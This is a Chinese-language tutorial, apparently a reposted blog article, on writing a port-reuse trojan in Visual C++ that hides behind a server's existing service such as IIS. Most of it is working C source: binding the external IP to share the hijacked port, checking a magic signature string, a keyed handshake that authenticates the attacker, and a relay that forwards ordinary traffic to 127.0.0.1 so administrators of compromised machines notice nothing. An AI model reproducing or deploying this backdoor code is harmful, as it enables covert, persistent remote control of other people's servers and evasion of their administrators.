您的位置:首页 > 其它

VC实现端口复用木马

2012-06-19 10:54 549 查看
其实想实现端口利用很简单,先创建一个Socket之后,用Setsockopt设置Socket的SO_REUSEADDR属性就可以了。当然要防止别人复用你的端口也很容易,用SetEXCLUSIVEADDRUSE就可以独占端口地址了。

我在开始编写前下载一个wxhshell,它是加上商品复用功能的Winshell。我自己试一了一下它的功能,发现它在WinXp+SP2+IIS5.1 下可以成功,在Windows 2003+ IIS 6.0 下没有成功。而在Windows Xp下正常工作时,IIS就不能正常工作了,这要是放在肉鸡上,别人的网页都访问不了了,那管理员就会轻易发现问题。因此这篇文章的重点就在这里——正确区分木马访问和正常的IIS访问,然后再分别加以处理。

设计思路,先获取本机连接外网的最佳IP,绑定此IP后,把127.0.0.1留给原服务,因为是TCP连接,所以只在连接起初判断就行了,就在开始通信前接收连接方的一段定长的字符串,初始判断是否是使用木马访问,如果初步判断是的话,再进行二路握手,不是则开启新线程进行客户到本地服务的的数据交换,如果二路握手成功,则开启木马功能,不成功就断开此连接。

需求,需要专门的客户端进行连接,这里用我们上次写的cmdshell客户端来改造,思路比木马的要简单,连接后进行判断,如果对方不是自己的木马则退出。

木马适用环境,任何对外开放了服务且可端口复用的服务器,如果有防火墙的话,就要用到远线程注入(这里不做讨论)



建议准备编写或者正在编写一些工具的朋友,像这样把每个模块分开设计,地整个程序的效率可能会有提高哦。下面我们就从绑定外网IP开始吧!

1 绑定IP用VC编程实现的话,第一步肯定是获取本机IP了,这个网上的可用代码不少,不过,要是获取最佳IP,又该如何实现呢?具体代码如下:

#define DEFAULT_DESTINATION "202.115.32.145"
DWORD GetBestIp()        //获得本机最好的IP地址
{
PMIB_IPADDRTABLE    pAddrTable(NULL);
PMIB_IPADDRROW      pAddrRow(NULL);
ULONG                ulSize(0);
DWORD                ret = INVALID_ADDRESS;
char *              pBuffer = NULL;
DWORD                dwBestIndex = INVALID_ADDRESS;
//获得最佳IP接口的索引
DWORD                dwResult = GetBestInterface(inet_addr(DEFAULT_DESTINATION), &dwBestIndex);

if ( dwResult != NO_ERROR )
{    //有错误,返回不可用地址
return INVALID_ADDRESS;
}
//获得本机所有的IP列表
GetIpAddrTable((PMIB_IPADDRTABLE)(char *)pBuffer, &ulSize, TRUE);

pBuffer = new char[ulSize];

dwResult = GetIpAddrTable((PMIB_IPADDRTABLE)(char *)pBuffer, &ulSize, TRUE);
if ( dwResult == NO_ERROR )
{
pAddrTable = (PMIB_IPADDRTABLE)(char *) pBuffer;

for (DWORD x = 0; x < pAddrTable->dwNumEntries; x++)
{
pAddrRow = (PMIB_IPADDRROW) &(pAddrTable->table[x]);
//如果和最佳索引相等,则返回其地址
if ( pAddrRow->dwIndex == dwBestIndex )
{
ret = pAddrRow->dwAddr;
delete [] pBuffer;
return ret;
}
}
}
delete [] pBuffer;
return INVALID_ADDRESS;
}


我们这段代码就可以获取连接外网的最佳IP地址。首先确定一个本机要连接的DEFAULT_DESTINATION,这里只要定义一个合法的外网IP就可以了,再通过GetBestInterface 获得最佳IP地址主可以了。

2 获取外网IP。由于外部的客户连接到指定端口时,就会自动连接到我们的木马上来,因此接下来就是最重要的一步——判断是否为木马请求。具体代码如下:

#define OWN_SIGN     "scuclark\n" //自身木马标志
// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;
int count;
char cmd[5];

while(nUser<MAX_USER)
{
char myFlag[32];
ThreadInfo threadInfo;
int nSize=sizeof(client);
//等待连接
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;
//以'\n'为终止符接收客户发送的验证字符串
count=0;
while(count<32)
{
if(recv(wsh,cmd,1,0)==SOCKET_ERROR)
{
closesocket(wsh);
return FALSE;
}
myFlag[count]=cmd[0];
if(cmd[0]==0x0a)
{
myFlag[count]='\n';
myFlag[++count]=0;
break;
}
count++;
}
//初步判断是否为木马请求
if (strncmp(myFlag,OWN_SIGN,strlen(OWN_SIGN))!=0)
{
u_long loopIP=inet_addr("127.0.0.1");
SOCKET loopback=Make_Connection(loopIP,80,120);
if (loopback<0)
{
closesocket(wsh);
continue;
}
//为新线程复制参数建立事件
ownevent = CreateEvent(NULL,FALSE,FALSE,NULL);
send(loopback,myFlag,count,0);

threadInfo.rawSock=loopback;
threadInfo.tcpSock=wsh;

CreateThread(0, 0, doReTranToHost, &threadInfo, 0, &myID);
//等待新线程复制完参数再继续向下执行
if(WaitForSingleObject(ownevent,INFINITE)==WAIT_FAILED)
{
continue;
}
CloseHandle(ownevent);
continue;
}
//初步判断是木马请求,再执行二路握手,失败则关闭连接
if(connestab(wsh)==FALSE){closesocket(wsh);continue;}
//握手成功,开启木马功能执行线程
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}


这是经过我修改后的客户端句柄模块,if(strncmp(myFlag,OWN_SIGN,sizeof(OWN_SIGN))!-0)用来初步判断客户是不是木马请求,起初我是让对本地服务的请求误转到木马执行模块里面,所以就加了后面的二路握手。加上之后对程序的效率没有什么影响,只是为了防止巧合的发生。if(connestab(wsh)==FALSE{closesocket(wsh);contine;}这句是在初步判断之后和客户间的二路握手,如果成功就可以执行木马模块了,不成功就很干脆地关闭连接。

下面就是木马里面的connestab()函数

#define OWN_KEY        346//密钥
//自定义握手协议结构体
typedef struct conninfo
{
int go;
int come;
char a;
} * Pconninfo;
//二路握手协议
BOOL connestab(SOCKET client)
{
char buf[256],cmd[5];
int count;
conninfo info;
Pconninfo infop=&info;
info.a='\n';
int a=(int)infop;
info.come=68;
info.go=AverageRandom(100000,999999);
//发送第一路木马协议
send(client,(char *)infop,sizeof(info)-3,NULL);
//接收对方回应的协议
count=0;
while(count<256)
{
if(recv(client,cmd,1,0)==SOCKET_ERROR)
{
closesocket(client);
return FALSE;
}
buf[count]=cmd[0];
if(cmd[0]==0xa || cmd[0]==0xd)
{
buf[count]=0;
break;
}
count++;
}
//验证对方是否为可信用户
if( ((Pconninfo)buf)->come!=info.go%OWN_KEY)return FALSE;
info.come=((Pconninfo)buf)->go%OWN_KEY;
info.go='o'+'k';
infop=&info;
//验证成功,发送第二路木马协议,如果对方验证成功,则整个握手过程成功完成
send(client,(char *)infop,sizeof(info)-3,NULL);
return TRUE;
}


其中,OWN_KEY为自定义的密钥,如果客户端和木马端的密钥不同,握手就不会成功Conninfo为自定义的木马协议结构体,很简单,char a是作为协议单元的结束符,send(client,(char *)infop,sizeof(info)-3,NULL),在这里面sizeof(info)-3是因为VC编译时数据是以4字节来进行数据结构对齐的,而char只有一字节,所以sizeof(info)返回的是12,通过再减3就可以得到真实大小了。

握手过程在注释里我已经写得很清楚了,第一路是发送自己的标识符68和随机产生的一个整数A1,然后接收客户端的回应,回应里面有个整数是随机数A1对客户端密钥求模的结果,还有客户端产生的随机数B2,木马端再验证B1和A1对自己密钥求模得出的结果是否一致,如果一样,则说明一路握手成功,然后进行第二路握手,这时用B2对自己的密钥求模,放到A2a里面,最后把A2a的A2b一起发到客户端,如果对方没有关闭连接,则说明二路握手成功。

3 验证完毕,接下来就是执行木马功能或者进行数据收发了,木马功能还是WinShell的木马功能,网上解释这个文章太多了,大家自己查找阅读一下即可。数据转发模块是我自己写的,也就是我上篇文章的介绍的select模型。代码和cmdshell客户端的数据交换代码大同小异,下面是其源代码:

DWORD WINAPI readwrite(SOCKET tr,SOCKET tc)
{
char bufc[40960],bufr[40960];
char* recvbufpc;
char* recvbufpr;
long recvr,recvc;
FD_SET ding,ding1;
int err,ret;
SOCKET clientr=tr,clientc=tc;
//告诉主线程参数复制完毕
SetEvent(ownevent);
recvr=recvc=0;
struct timeval TimeOut;
TimeOut.tv_sec=0;
TimeOut.tv_usec=1000;
FD_ZERO(&ding);
FD_ZERO(&ding1);
FD_SET(clientc,&ding);
FD_SET(clientr,&ding);

while (FD_ISSET(clientc,&ding) && FD_ISSET(clientr,&ding) )
{
//赋初始值
ding1=ding;

//超时或错误
int Er=select(16, &ding1, 0, 0, &TimeOut);
if( (Er==SOCKET_ERROR))
{
FD_CLR(clientc,&ding1);
FD_CLR (clientc, &ding);
}
if( FD_ISSET(clientc,&ding1))
{
ret=recv(clientc, bufc, sizeof(bufc), 0);
if(ret == SOCKET_ERROR || ret==0 || ret == WSAECONNRESET)
{
FD_ZERO (&ding);
}        //可读但已经关闭连接
else
{
recvc=ret;
bufc[ret] = '\0';
recvbufpc= bufc;
}
}
if( FD_ISSET(clientr,&ding1))
{
ret=recv(clientr, bufr, sizeof(bufr), 0);
if(ret == SOCKET_ERROR || ret==0 || ret == WSAECONNRESET)
{
FD_ZERO (&ding);
}        //可读但已经关闭连接
else
{
recvr=ret;
bufr[ret] = '\0';
recvbufpr= bufr;
}
}
print:
if(recvr)
{
ret=send(clientc,recvbufpr,recvr,0);
if(ret>0)
{
recvbufpr+=ret;
recvr-=ret;
}
else
{
err=WSAGetLastError();
if(err!=WSAETIMEDOUT)
{
FD_ZERO (&ding);
recvr=0;
}
}
}

if(recvc)
{
ret=send(clientr,recvbufpc,recvc,0);
if(ret>0)
{
recvbufpc+=ret;
recvc-=ret;
}
else
{
err=WSAGetLastError();
if(err!=WSAETIMEDOUT)
{
FD_ZERO (&ding);
recvc=0;
}
}
}
Sleep(1);
if(recvr || recvc )goto print;
}
closesocket(clientr);
closesocket(clientc);
return 1;
}


这里客户端还需要一个握手的函数,其实质和木马里面的差不多,我就不单独拿出来讲了,大家自己琢磨一下即可明白。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: